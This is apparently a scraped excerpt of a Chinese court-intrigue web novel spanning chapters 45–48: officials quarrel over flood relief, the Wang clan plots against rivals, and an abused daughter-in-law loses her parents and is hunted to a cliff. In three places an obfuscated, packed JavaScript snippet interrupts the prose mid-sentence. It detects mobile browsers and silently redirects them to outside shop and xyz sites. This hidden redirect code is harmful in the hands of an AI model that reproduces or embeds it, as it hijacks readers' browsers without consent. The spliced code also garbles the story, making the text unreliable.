不让裴欣出宫的原因很简单,明眼人都能瞧出来——裴家那个时候手握重兵,权势滔天,老公爷又娶了郡主,家族之繁盛如日中天,将长女留在宫中也是合乎情理的。 楚国公府的孩子在某些方面都是有天赋的,可惜做事风格太过强硬,一板一眼很不讨人喜欢,起步的时候吃了不少苦头。 顶着楚国公府长女的名头,裴欣得了许多方便,人人都敬着她爱着她;与此同时她却又发现,她手底下的人不服管教,阳奉阴违都是常事。 毕竟没有人喜欢绣花枕头和关系户,众人眼里,裴欣这俩都占了。 中宫皇后是不理俗事的活神仙,裴欣这个五品女官不仅要管着自己眼前的一亩三分地,恨不得连同着皇后的事务都要一并打理。 老皇帝起初没对这个小姑娘抱有太大期望,直到有一天,他莅临察看内廷四局,发现所有事务打理地井然有序,这才意识到事情的不简单。 朝堂上的男人们对这件事只是略有耳闻,总体听下来,对这位姑娘的事迹不甚上心。 只是管一管后宫胭脂水粉的小钱,相比于前朝的军费开支、赋税徭役,那些玩意儿都不值一提。 有什么好夸的?说来说去还是一群莺莺燕燕的自娱自乐。 他微笑着给王隐使了使眼色,道:“裴大小姐,近些日子可不太平,城外乱民冗杂,若是没有巡防营,那些贱民早就涌进城了。” 王隐觉着好笑,轻笑了一声,靠着身后的靠背,摇着头淡声提醒道:“那是流离失所的百姓,崔大人慎言。什么贱民不贱民的,那都是我大盛的子民。” 崔堇低头喝茶掩饰尴尬,找补道:“是,那是我大盛的子民。只是事发突然,还未查清楚水患原因,后续的安排咱们也无从下手啊。” 裴欣站起身,在堂前走了一圈,慢声道:“这水患来得突然,而且好巧不巧只淹了臻、樵两县,后续拨款重建是另外一桩事,如今的当务之急该是安顿好流民。那些难民流离失所,食不果腹,绝不能放任不管。” 另一个老头儿有些不满了,吹胡子瞪眼道:“你是管户部的一把手,银子拨下去多少,账目里都是记得清清楚楚的,裴大人自行调度也不是不成,何必扯上我们。况且责任划分还未定下来,我们何必非得给自己找麻烦。” 崔堇笑了笑,语气中稍带嘲弄:“裴大小姐,您去年可还在后宫之中,看管女人的胭脂水粉钱,自然不知道前朝千变万化的形势,前朝办事的一套规矩流程,可跟内廷不同。” “再不同,事情摆在眼前是真,这是逃也逃不掉的。”裴欣冷睨他一眼,一拂袖重重坐下,“至于规矩流程,这不是正与各位大人商议么,我自知还年轻,需要学的东西有很多,有劳各位大人一一指点了。” 王隐将手里的账本递了出去,轻咳一声道:“确实,裴尚书说的对,城外难民堆积,就这么堵在城外也不是法子,一旦饿死的人多了,出暴乱是迟早的事。” 山羊胡老头儿不肯让步,他反问道:“不划分责任,如何安顿难民?” 这是明摆了事不关己高高挂起。 她心里有气,却又没办法发作,像是一拳头打进棉花里。 “民生乃国之根本,城外支起粥棚和遮风挡雨的帐篷,总比放任不管的好,现在不说别的,饥饱问题是重中之重,再便是暂居之所……” 崔堇觉得好笑,他骨子里都在轻视这位年轻姑娘,明明官职平起平坐,但还是下意识将其放在下位:“裴大人果真是菩萨心肠,脂粉堆里呆久了,真真的慈悲。可大人有没有想过,粮食从何而来,又在何处布施,又需要哪些人手安排,搭建帐篷的建筑材料怎么来,谁去搭……这些可不是姑娘过家家的游戏。” 一介女流,非要扎在男人堆里。 如今的朝廷算事无人可用了,居然会任命一个女人当户部尚书。 “既然如此,各位大人莫要阻拦,两县水患我要查,眼下流民我也要安顿。” 此话一出,崔堇神色有异,冷冷地扫过书案和书案边的女孩,王隐若无其事地一手托着下巴,虽说他样貌平平,但毕竟是王家人,举手投足颇有贵族的优雅风范。 两县水患,要真是动真格地查,不知又要卷入多少人,多少个姓氏。 山羊胡老头儿愈发不耐烦了,恨不得拿鼻孔看人:“小姑娘,口气倒是不小。” 裴欣毫不客气地回道:“烦请老大人工作时以职位相称。” 王隐摆了摆手,不欲继续浪费时间,他打圆场道 :“诸位,裴大人的意思就是陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411911|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意思,为人臣子,为陛下分忧是分内之事,既然裴尚书有所打算,那便按照大人的意思来。” 崔世境起身表态:“我等听候裴大人的调任差遣。” 他拂袖坐下,看着焦头烂额的裴欣,自己也开始头疼。 崔世境全程没怎么说话,自顾自地翻了翻案上的账簿,越看越是心堵。 不了了之的账目太多了,他那老父亲崔堇跟王家老狐狸压根不在一个档次,这个时候还一马当先冲在前锋,好不容易调回郢都,却又与两县水患卷在一起。 已经被人利用过一次,难道同一个坑他们崔家还得跳两次。 他漠然闭上眼,眼前昏暗一片,看不到茫茫道路的尽头。 此刻的崔世境只相信自己。 清晨,日上枝头,薄雾消散。 玉碟中几颗红果甚是可爱,蘸了细绵的白糖化在乌青的茶汤里,涩甜交接,别有一番风味。 裴谦上朝去了,这几晚他睡得好,也不曾为难安楚,屋子里隔着屏风,两人相安无事。 那一吻惊心动魄,意犹未尽的不单一人。 他躺在她的身旁,沉默的夜晚,空气中潮湿弥散着药的苦味,熏炉里燃着她最熟悉不过的檀香,一切都恰到好。 即使毫无接触,但安楚裹着被子,感觉自己淹没在那人的怀里…… “楚姑娘,主子上朝未归,您不要站在上头吹了冷风。”云沧海放声喊道,他一手端着荷花酥,另一手拎着一壶酒,十分娴熟地坐到回廊下。 安楚若有所思,从墙头翻身而下,踱步走到他身边,问道:“国公是不是身子不好?” “啊?” 云沧海拿荷花酥的手一顿,表情怔怔,这是他能听的吗? 莫非是国公爷真的是有什么隐疾?难道这就是主子多年来洁身自好的根本原因? 云沧海瞠目结舌:“主子睡着……你悄悄把了他的脉?” 他们两个真的睡一张床!云沧海震惊了,主子居然铁树开花了? 安楚觉得有所失言,赶紧解释道:“虽不道德,但你知道吧,行医者最见不得病痛。” “我们公爷……从未睡得这么踏实过,楚姑娘,你不仅是主子第一个带回温泉别苑的姑娘,还是第一个同床共枕的姑娘。太感动了,奴才太欣慰了……”云沧海假惺惺地从怀里掏出一块帕子,展开了擦了擦眼角根本不存在的泪。 “……” 安楚十分确定,这位小哥定是看多了街头流传甚广的话本。 云沧海正愁没有一同说话的伴,正巧有人问他也愿意答:“我们家主子,从小顽劣,精力充沛,四处惹祸,老是给老国公爷罚家法。如今算是老了,不中用了,当年在北地冻狠了,中计吃了蛮人的药,身子骨一下子垮了。” 安楚皱了皱眉,随手剥了一颗橘子递给他:“太医治不好么?” 云沧海含含糊糊地咬着橘子瓣:“皇宫里的那些,都是庸医,不然不早就治好了……” “怎么说?” “太医说,国公爷的病怕是一辈子也好不了了,说不定活不过弱冠,但主子还是争气的,活得好好的。” 安楚脸色有些难看,她心中尚有一两分猜测,听完云沧海的话,觉得那些不好的臆想几乎被一一印证了。 46.伏笔停辍 闲云野鹤,水墨成烟,洋洋洒洒铺了大半张宣纸,笔尖百转千回,闲搁在一旁。 王隐抬起镇纸,将画捧在手里仔细瞧了瞧,颇有闲情雅致地点评了两句。 王策云也不言语,径直走到窗边的长塌前,衣角撩起,泰然安坐。 手边是一杯冷茶,早已没了热气。 皱眉间,一旁的小厮赶紧将茶水换了下来,瞬间湿热的茶香溢了满屋,王策云见怪不怪地端起了茶杯,氤氲的潮湿雾气里,一双乌亮的眸子露了出来。 “书院的事不好办,棘手。”王隐抱怨道,他这几日过得安生,几乎是除了上朝就别无他事。 “那裴家的,老大老二都不是什么好东西,一个姐姐在朝堂上当什么户部尚书,一个弟弟在皇帝的庇护下创什么书院。” “裴欣确实才干出众,圣上也是看在眼里,更何况在这个节骨眼上,圣上肯定不希望一家独大亦或是风水轮流转,将户部的权从崔家手里收回来,又落到我们王家身上。至于裴谦,收了明光营,给一个书院,真不知这买卖谁亏了。小叔,若是圣上像你这般斤斤计较,裴谦早就撂挑子不干了。” 王策云这话说得中肯,几乎是一板一眼的实话。 他身居高位,闲来无事只能煮酒烹茶,画画归隐的鹤,王隐对小辈的不思进取感到不快。 王隐脸色铁青,轻蔑道:“若是真的撂挑子不干了还就好了。你说说,户部那点东西,王家怎么不能从崔家手里接过来?风水轮流转又如何,到时候王崔两家无外乎就争个鱼死网破,这不正是圣上想看到的么?” 王策云勉强坐直身子,饮了一口热茶,随即道:“崔家啊……他崔堇刚从江南调任回都,拿什么跟王家鱼死网破?皇上已经瞧不上崔家了。” 崔家。 这是所有大世家的痛点,在一代代的更迭下,权力与资源很快被流转被瓜分。 四周都是敌人,想要化敌为友最朴素的办法就是联姻拉拢,将涓涓细流汇聚成江。 多年前的回马桥兵变,将许多格局打破,死了废太子和废后,如日中天的崔家也跟着倒台,王家也死了家主。 “见点血就好了的。”王策云顺手捻起一颗黑子,棋盘上纵横交错。 风云变化莫测,云海高深流淌。 他孑然不动,入指尖稳重如山的黑子,落下的每一步均是笃定。 眉眼间气宇非凡,贵气非常,颇有其父亲王守纪的风范。 王隐自娱自乐地一拍大腿,愉悦道:“他啊,就是顺风顺水太久了,应该找点麻烦,让他好好冷静一下。” “郢都,可不是他裴谦呼风唤雨的地方。” 王隐将那一纸画揉进手心,低声道:“想想,当初兄长在的时候,王家盛景,如何落得今日这般境地,守纪若是还在啊,如今定能延续那绿纱糊窗官笏满床的鼎盛。” 镇纸下空无一物,墨迹干涸,那一幅画好似不复存在。 鹤飞,云烟散。 “如今?”王策云挑眉,墨色的眉宇如远山峨眉,蜿蜒入画,大气之中蕴含秀气,怒气如秀气,含在眉峰间,如云如雾,捉摸不清。 王隐有些晃神一时看不清眼前人究竟是谁。 死去的家主、他的好兄长王守纪,还是他不太瞧得上眼的侄子王策云。 他嗤笑一声:“如今,只剩下你一个,还有思闯,还有一个……呵呵。” 还有一个,是王策云的逆鳞。 “小叔胡言乱语什么呢,小辈中,除了我跟思闯,还有谁?”他目光凛冽,如冬雪中漫天飞扬的狂风,吹过一片厚重的云,露出一线天光。 他并不是在逼问,却像一只盘踞在高空中的猎鹰。 “是我失言了,竖子而已,不足道也。”王隐嘴角牵起,心满意足地缓和道。 那是兄长唯一的劣迹,与一个卑贱的下人相通,还生了一个孩子。 王策云轻描淡写地替父亲否认了这个不体面的私生子,并顺手安插进了荆府。王策云承诺,若是归家认祖归宗,记在小叔叔王隐的名下。 让那个孩子带着任务与荣耀赴死。 结局大家有目共睹,荆家倒台,兵权瓜分。 但收获远不止眼前这些,不过是身外俗物——最关键的还是,挑拨了太子殿下和秦王的关系。荆家的人马被秦王悉数收编,太子知道之后虽未说什么,但也有了疏远之意。 太子注定是孤独的,这是众所周知的事,他不该有出生入死的伙伴。 王策云十分顺手地去掉他的左膀右臂,而这一切,仅仅只是顺手。 “你这孩子,唉。”王隐干笑了一声,不再言语。 炉上的茶咕噜噜冒着泡,茶香四溢,濡湿了空气,王策云偏过身,微垂着眼眸,道:“小叔,我的鹤,何不还我?” “啊,欣赏得太入迷了,竟损成这样。”王隐假惺惺地将纸展平,他没想着给,望着纸上洇来的墨痕,不由得有些嫌恶。 王策云笑吟吟地望着他,那笑意三分假,七分讥诮。 “贤侄也不必费心了,形中书院的招牌是时候改头换面了。”王隐躬身,拂平衣角站起身,“思闯在巡防营待了那么久,也该历练得差不多了。” “小叔,这香囊属实没有品味,与你的家室和气度相称,还是趁早换了。一股子不洋不俗的小家子气,香气也是。”王策云打断道,他一手端着茶水,另一只手慢悠悠地以指尖敲击书案面,闷闷的笃木声让王隐很不自在,“哪怕是北地的好货,到了郢都,一样是拿不出手的。” 王隐阴恻恻的,冷脸看着他:“贤侄说得对,香囊罢了,是我老了,品味跟不上你们这样的年轻后辈了,贤侄这都要怪罪?那我真是无话可说了。” 两人的惺惺作态,点到为止。 形中书院历史悠久,南渡后流于形式,便开始形同虚设。 如果重新启用,后果不堪设想。 王隐的担忧并非不无道理,选出的贤才走进朝堂,安插入各个部门,留给世家的荣光正在缓缓消散。 京畿冯家。 一对老人相互搀扶,走进大门,穿过中堂。 冯家派人传信给他们,说是闺女突然有了身孕。 四周景色宜人,虽不华贵,却比寻常人家考究许多。 老头儿心中按捺不住欣喜,有了孩子,女儿便真的能融进一个大家族了。 只是人算不如天算,好消息一半,坏消息也也接踵而至。 冯家说,他们之前买书院的名额花了一大笔钱,恨不得要砸锅卖铁,这才有了一星半点的机会,能在院正那边说上话。 哪知道,受贿的白教谕锒铛入狱,之前冯家花的钱也是水漂。到时候新官上任,谁会记得这买卖? 冯家虽家底殷实,但心里终归咽不下这口气,要他们一块儿来想办法。 “这就是亲家公养的好闺女,来我们家这些时日,不说别的,银子亏空成这样。不过是花了点钱给少爷买个好前程,居然还学会了给人看脸色……”冯老太太一扬手,将手里的账簿摔了出去,“当初让她对少爷的事多操心些,百般推脱,现在好了,这亏损算谁头上?” 言外之意,就是要他们老两口还上这些银子。 这就有些无理取闹了,时运不济如何能怪到管家夫人身上?可冯家好像就是觉得理所应当,办不成事,看着谁都要咬一口。 老阿婆大惊失色,低声道:“不……这怎么行呢!这么多钱,老头子!他们是要咱们俩的命啊!” 冯亲家丝毫不把他们当人看,冯老大人憨厚笑道:“亲家公,我们已经花了大几百两的银子了,如今算是打了水漂。” 语气凉薄,与其说是笑意,不如说是嘲讽之意。 老头儿颤颤巍巍举着看不明白的账本,问道:“那该如何是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14505324|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好?” 冯老太太冷哼一声,道:“你去求院正大人,将这件事闹得越大越好,直达圣听最好。” “不就是去书院闹一闹,那有什么难事,像我们这样的,熟练得很。只是……我们老两口想见见雪儿。”老阿婆满脸堆笑,小心翼翼地讨好道。 冯家人的埋怨之意几乎溢出门槛。 门不当户不对,阶级是一道无法逾越的鸿沟。 “昼雪有了身孕,不见人,不便打扰。”她嫌恶的眼神扫过两位老人的脸旁,冷冰冰地抛下这句话。 衰老最先从心里,然后便是身体。寻常人家只为了碎银几两,为了一口饭食,便操劳大半生。 老阿婆感觉自己一下子就垮掉了,由内而外的气息好像都要死绝了。 有良心的生儿育女,没良心的易子换食。老头儿老太太自诩一辈子是宠爱这个女儿的,却不想一路磕磕绊绊,丝毫不松快。 冯老大人不想场面太难看,宽解道:“亲家还是先去见了院正大人,等都办妥当了再来看少夫人吧。” 老头儿眼里最后一点光也湮灭了,一点点,小心翼翼的讨好,都消失不见。 “昼雪……她往后不会受什么为难吧?”他最后一次讨好地发问。 他试图确认,可是这样的承诺也是轻飘飘的,只是图个心安。 冯老太太举着帕子轻掩口鼻,噗嗤一笑道:“亲家公哪儿的话,她是我们家明媒正娶的贤惠儿媳,谁会为难?” 老两口深知,不会有人见他们这样卑贱如泥的老百姓的,那对干巴巴的老夫妻撞死在形中书院的门口。 他们能有什么能耐讨要银两,本身就是见不得光的勾当,若是传了出去,那可是砍头的罪。 横竖都是死路。 曾以为,雪儿找了户好人家,以后肯定不会吃苦,结果却是如此惨不忍睹。 “我们一家人,骨头轻,高攀不起啊……”老头儿咧着嘴,黑黄的牙被血糊住,他用尽最后一丝力气去微笑,显得有些可怜和滑稽。 他试图抚慰女儿的情绪。 张昼雪跪倒在地,狼狈的女人抓紧父亲的手,那双粗砺的手曾翻晒过无数药草,开过酒馆看过病,为了养活这个家,为了给她攒嫁妆。 老太太虚弱之极,她瘫倒在地,满头的血,嘴唇苍白,眼神浑浊无光:“不是不让你来的么……你还怀着孕……对孩子不好。” 母亲一辈子辛劳,与父亲两个人在一起,将所有事打理得井井有条,可惜没人在意一位女人的付出,她的皱纹和岁月磨损,只有老天看得到。 昼雪崩溃又麻木,她扑在母亲的怀里,想要抓住稀薄的、快要消散的呼吸,温度在她的怀抱间消弭,她终于忍不住落下眼泪。 酸涩的眼眶里,豆大的泪珠重重地坠地,落在衣襟间,混在血痕里。 老头儿嘴角挂着笑,很勉强很苦涩的笑,他尝试着去相信,于是自己也在愚弄自己:“他们答应了,要是我替他们讨债,你夫家会待你好的。” “你们怎么能这样对你。”昼雪喃喃着,手里还有衣袍上,都沾满了数不清苦命人的血。 “爹,你怎么还信他们的鬼话,他们把你害成这样……你还信他们会对我好?等你一死,他们铁定要把我扫地出门的。”女人面容憔悴,如花似玉的脸庞上,不安和泪水交错。 老两口在暴雨滂沱中咽气了。 红衣姗姗来迟,也便是那位随着少夫人一同管宅院的女使,她举着伞,身后跟着许多家丁和侍女,将人团团围住:“少夫人在这,你们是做什么吃的,少夫人刚有身孕,怎么能让她一个人跑这么远,身边还没一个人伺候?” “我不走!那是我爹娘!你们这群吃人不吐骨头的畜生,你们诓骗我,骗得我好苦,还我爹娘的命!” 红衣平淡地下达命令:“莫要伤到少夫人腹中的骨肉,那是冯家的血脉,诸位。” 47.昼雪初歇 “我去做杂工,绣娘,哪怕是妓馆的风尘女,我都觉得比待在你们冯家强。” 纱幔内,微弱虚无地传来这么一句没头没脑的话,颇为离经叛道,好在周围没什么人,不会有人听见,不会有人告状。 红衣的手都要举酸了,手里端着洒了一半的药,低声劝导道:“少夫人,你不要倔着,当全都没有发生,好么?” 某种程度上她是一个冷漠的旁观者,因为她根本不知道该如何去劝一个遍体鳞伤的孕妇,一个被剥削被吸血的无辜女孩。 这个世界上唯一能真心待她的老夫妻已经命丧黄泉了,但她连声讨公正的资格都没有。 红衣是初昼雪亲手提拔上来的女管家,她们在后院里打转,接手了从前独属于男人的活计。苦命的姑娘总会多想着去拯救另一个苦命的姑娘,红衣从那一天开始,终于能挺直腰板吃饭了。 她看着初昼雪从进门的懵懂、天真烂漫,渐渐地丧失了自我,她被将所有时间放到新兴的冯家产业上。 新儿媳是廉价的管家人,一大家口的营生,都依仗着她的安排。 冯家枯木逢春,迎来了新的转机。都在夸赞冯家绝境逢春的运气,什么命不该绝啊,祖上有先人庇佑呀,唯独不提活着的那个付出心血的女人。 那个时候的冯家除了一个金光闪闪的牌匾,内部是被蛀虫啃空了的空壳。冯家是名利场上的失败者,在世家的尔虞我诈中,被当作一颗不起眼的石子,狠狠地踩到了脚下。 被称作少夫人的昼雪躺在榻上,索然无味的目光里,一点精气神都没用了:“呸,龌龊。” 声音很轻,和她的名字一样,轻飘飘的,鹅毛一般,在阳光下飘着打着旋,最后慢慢落到地上,悄悄地化干净了。 她气若游丝地骂着,说着说着居然还笑了出来,眼泪顺着笑脸缓缓淌落:“嫁给谁不是嫁,瞎了眼嫁了你家,你家这样的货色,废铜烂铁归一堆……哈哈,废铜烂铁。” 眼下乌黑,面容憔悴。 冯老太太闻言,脸上的白粉都要抖落下来了,她道:“我儿要休弃你,你走吧。” 初昼雪动了动苍白的嘴唇,还偏过头望着冯老太太:“他也是这么说的?” 冯老太太点头称是,好似听到笑话一般,缓和了面色,敷衍道:“是,他还说,谁知道你这肚子里怀的谁的,他可不敢认。” “他”指的是冯家少爷,她名义上的夫君。 她与他虽没什么情分,但终归在一个屋檐下生活了这么些年,同床共枕过几次,就算是养的猫狗也有了感情。 但他对她毫无怜惜,她亦是如此。 冯家为什么愿意娶她进门,门第不对等本身就是一道巨大的鸿沟,与两个人而言,生活在一处简直是天大的折磨。 根本不存在母凭子贵。 冯老太太秀眉一拧,甚不耐烦:“三年五载,你在我家也享了不少福,应该是没什么不知足的了。在冯家,吃穿用度,是你十辈子都挣不来的,你管的那些钱,做的那些生意,哪一样不需要钱。你们家那穷酸破落户模样,哪里能见到这好的光景。” 她腕间带着两三个珐琅彩的金镯,胸前挂着一块碧绿无暇的翡翠无事牌,发髻抹着玫瑰露的发油,三四根镶着宝石的摞金丝尖嘴金钗拥挤地插在发间。 冰冷的荣华富贵,终归是别人施舍的,不是她自己的。 初昼雪情绪骤然激烈起来,她天生性子烈,却被无数次打磨中逐渐失了棱角,她难得有一回真实的情绪:“你们逼死了我的阿爹阿娘,这样的话是如何说出口的?” 昼雪的心底住着另一个女人,她温婉体贴,遵从世道,拜倒在三从四德跟前,将女诫铭记于心,她要生儿育女,要伺候公婆。 她可以什么都不会,只要能够生下儿子给这个家族传宗接代就好,那便是她最大的价值。 可昼雪听见她在哭,心底的那个女人无助地呜咽,像幽灵的回荡,挥之不去。 压垮昼雪的最后一根稻草,让她不是很想继续窝囊着活。 “我哪是嫁给你儿子,我是嫁给你们家。晨昏定省,伺候公婆,还要操持一大家口的营生,我这些年来,没有一天是好过的。” 初昼雪撑起身子,她耗费了许多气力,心肝都在颤抖、滴血:“当初,明明是你们冯家有意娶我过门的,你们那个时候在郢都欠了一屁股账,都要给那些世家玩死了,还想给自己的儿子物色贵女……我呸,谁会把女儿嫁给你们这样的家,吃人不吐骨头的家!” 冯老太太恼羞成怒,不由得开始口不择言:“堵住她的嘴!反了天了,你算是个什么东西,胆敢这么污蔑冯家,你是为这个家做了什么?你是给这个家掏出什么钱?没有冯家养着你,你早就死在大街上了。” 红衣下意识挡在初昼雪面前,老太太的贴身侍女箭步而上,一掌落在红衣脸上,红衣被打得踉跄,木盘和药碗都撞飞了,琳琅地落了一地。她脑子里闹哄哄的,像一锅乱沸的粥。 红衣目光有些呆滞,动作也变得机械,等反应过来的时候,那位扇自己耳光的侍女已经捂着脸揪着冯老太太的衣角哀声哭诉。 “老太太,她们太不把您放在眼里了……您做做主啊!” 红衣没想到自己居然脑袋空白的一刹,居然会如此决绝,她居然打了老太太的贴身女使!借给她十个胆子她也不敢这么做啊。 她想跪下,想要为自己辩驳,却又弯不下身子,她愣愣地站在原地,不知所措。 初昼雪微弱的声音阻止了闹剧的延续,她平静诉说道:“我从没想过攀龙附凤,与你在一起,更多的时候在想,怎样能让我们这个家过得更好,让我的爹娘能安下心,以后不必为我操多余的心……” 她气得连吸几口冷气,无法平复的心,随着阿爹阿娘的死去,一同被碾碎。她无法粉饰自己的悲惨经历,她甚至想问,遵从父母意愿加入高门,这一切是否值得。 冯老太太意味深长地看着被击垮的女人,冷冷地抛下逐客令:“白银五十两,也够你一阵子生活了,你是选留在冯家,还是远走高飞。” 初昼雪肩头是垂落的乌发,白皙到病态的面容令人心疼不已,本该佳人举世无双,怜香惜玉。 那双倔强的眼睛,像一把淬火的刀,破开亘古不化的坚冰。 可这玉太过坚硬,好像一把剑砍上去也得撞出豁口,冯少爷若是看到,心中八成会有些惋惜——虽然是平民出身的女人,可气质形容绝非俗物,令人弃之可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517295|148301||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惜。 “我给你备马,你自行离开,只是你踏出这道门,从今往后,你跟冯家再无瓜葛。”冯老太太说的很慢,语气淡淡的,她笑起来是温柔的、刻板的,让人挑不出错处。 她替儿子,替这个家做出了决定,决定了眼前女人的去处。 傍晚又下起了小雨,湿润的空气里混杂着泥土的腥味。 马蹄急促地飞奔而过,稍待几秒,又有几道更加深刻的马蹄印在泥土里,马啼嘶哑,凄厉非常。 一道冷箭射出,一声爆裂凄惨的嘶吼,奔亡在前的马中箭,砰然坠地。 “我做鬼也不会放过你。”昼雪狠狠地摔了一跤,但她依旧坚持爬了起来。 穷途末路,她站在崖边,雨水打湿了她的鬓发,雷光闪过,却是一声闷雷。 那光刺目,将初昼雪的眸子映得雪亮,瞳孔中倒映着握刀的黑面人,死亡的气息向她逐步靠拢。 她认命似的,合上了眼。 一道倩影在淅淅沥沥的雨夜里,映照着一道触目惊心的雷光,随之坠落在山崖。 像一道绚烂的流行,在接近地面的时候渐渐泯灭火花,沉水最后归于平静。像一场巨大的遗忘,小小的人物,尤其是无依无靠的少女,更是渺小。 她的痕迹被轻而易举地抹去,不费吹灰之力。 安楚的日子过得十分平静,该如何去形容她在国公府的生活呢? 像一只什么都不用做,只需要吃饱饭,将自己拾掇整齐体面的蛀米虫,她什么都不需要做,可正是因为什么都不需要做,她感到了前所未有的危机感。 韶龄姑娘云鬓花颜,袖口挽起露出晶莹洁白的手腕,只见她手中瓷盘堆着几块整齐的白糯糕点,款款走来,步伐轻盈。 阿敏喜欢同安楚在一起,她是个好姑娘,只不过有些木讷,谁不会喜欢一个心地纯良、还很会照顾人的女孩呢。 她兴致冲冲地朝安楚笑道:“楚小姐,这是城南最有名的牛乳糕,云侍卫排队买的呢,您快尝尝。” 安楚觉得,裴谦或许知道了她的身体状况。 他不闻不问,她无从可知。 “坐。”安楚回头,偏过一半身子,看向阿敏手里捧着的一碟牛乳糕,浓郁的奶香扑面而来,她捡起一块,递到唇边咬了一大口。 口感糯糯的,米香与奶香在唇齿间迅速蔓延。 茶香渗入清晨明媚的阳光中,空气清越迷蒙,压下雨后的土腥味和花草香。 她有些失落,垂眸问道:“阿敏,国公爷什么时候下朝?” 女使也没站起来,坐在一旁,熟稔地端了两杯热腾腾的茶,道:“今天公爷要陪大小姐城外视察灾民,可能要好晚才能回来。” “大小姐?” 阿敏欣然解惑:“也就是当今的户部尚书,裴欣裴大人。是我们楚国公府的大小姐,与公爷一个娘胎的亲姐弟呢,大小姐待人和善,公私分明,是天大的好人。” “噢……”安楚若有所思。 除了办公用的书房,安楚在府里几乎畅通无阻。 闲来无事,安楚不自觉地走到了后院的一片幽篁,院子有待修葺,围墙外青砖剥落一层层白粉,露出墙壁原本的暗青色,石阶上还长有青苔。 48.昙花琉璃 安楚随着记忆,往里间走去,飞鸟扑腾着翅膀,四面的枯枝却突然瑟瑟颤抖。 院里四方天地,只余了枯叶摩擦地面的薄脆声响,还有安楚闷闷的脚步声。 衣裙拖曳落地,难得映衬出少女姿态之美。 “楚小姐!这房子,危险得很,公爷也懒得调度银两修缮,您当心点罢,千万别伤着了!”阿敏将手拢在唇边,像一只会说话的小喇叭。 小姑娘鼻尖冒着晶莹的汗,圆圆的脸上挂着焦急泛红的表情。 安楚停住了脚步,诧异道:“国公府修得如此体面,怎还会有废弃的院子?” 阿敏絮絮叨叨地讲着自己的所见所闻,她道:“这处院子,里边放着什么,我们也没见过,只听着年纪大一点的老妈妈说,从老公爷那会儿就关上了,不让人进去。” 她指着门上的铜锁,已经生出孔雀石一般的锈迹,一看就是年代久远,就算是有钥匙也打不开了。 安楚问:“就这么闲置着?” 阿敏老实回道:“国公爷没提过,没人敢过问。” 哐当一声响,阿敏瞪大了眼,眼前这位看上去没有缚鸡之力的女子一脚踹开了门锁,那块精致又破旧的铜锁像一个孩童玩意,锁舌都掉了出来。 安楚无处可去,国公府就像是一个豪华的笼子,她又不是金丝雀,没缘故老实巴交地待着。 她想着,最好能惹点麻烦,好让裴谦找出借口赶她出府去。 木门一声嘶哑的吱呀响,灰尘扑面而来,扬尘也随着落到安楚的身前,一脚踩进门里,地上深深浅浅地落着灰白的脚印,那是积年的落灰。 光从门里照进去,灰尘争先恐后地朝更高更远的天地奔涌而去,光线被划成一缕一缕的细烟,那是岁月留存的痕迹,还有旧物件无声的呐喊…… 目光所及,都是一些铜铁铸就的盔甲,木案上摆着一些鸟雀形状的木器,张着嘴好似等待人喂食,形态逼真;盔甲更是整齐,虽落着灰,却丝毫未生锈迹,投映进门的强光将盔甲原本的银色照得寒气凛冽。 “楚姑娘,您怎么走到这儿了。阿敏,你怎么伺候姑娘的,让她这样胡闹,这院子多老了,还能进人?熏着楚姑娘了怎么半?” 他语气好像还挺遗憾,年轻的笑颜如初生的阳光,稚嫩又灿烂。 站在门前,像一堵墙。 “不让看?”安楚挑眉,心中更加好奇了。 “那倒也不是。”云沧海讪笑,悄悄往旁边挪了一步,他记得主子的吩咐,除了书房,安楚去哪儿都是自由的。 啧,主子也忒大方了。 这姑娘也真是霸道,真把国公府当自家院子了,哪儿都敢进。 阿敏却想起来什么似的,大声嚷嚷起来:“云侍卫!你怎么回来了,不是跟着公爷么,你翘班了,万一公爷遇刺怎么办?” 云沧海朝着安楚行礼,解释道:“公爷晚点才能回府,另外楚小姐,主子说大小姐过几日要亲自回来,她想见见你。” “我?见我?为什么?” 阿敏脸上露出向往的神情,娇羞道:“那是因为国公爷要娶亲了,大小姐作为长姐,肯定是要来亲自过问的。” 安楚其实还不太明白,“亲自见一见”意味着什么。但她唯一想得明白的是,裴谦一时半会儿不会放她走。莫非裴谦真的想要将她留在他身边一辈子? 她有些怅然和茫然,在她看来,情爱的滋味不如一顿热饭的滋味香。 安楚从未想过嫁人,这一回事离她太遥远,从退亲开始,到后面六殿下想纳她为妾,再到如今裴谦也说要娶她。娘说,她一定要找个好人家,嫁了好人家就好了的,可一面她又告诉安楚,男人是不可信的,千万不要轻信男人的甜言蜜语。 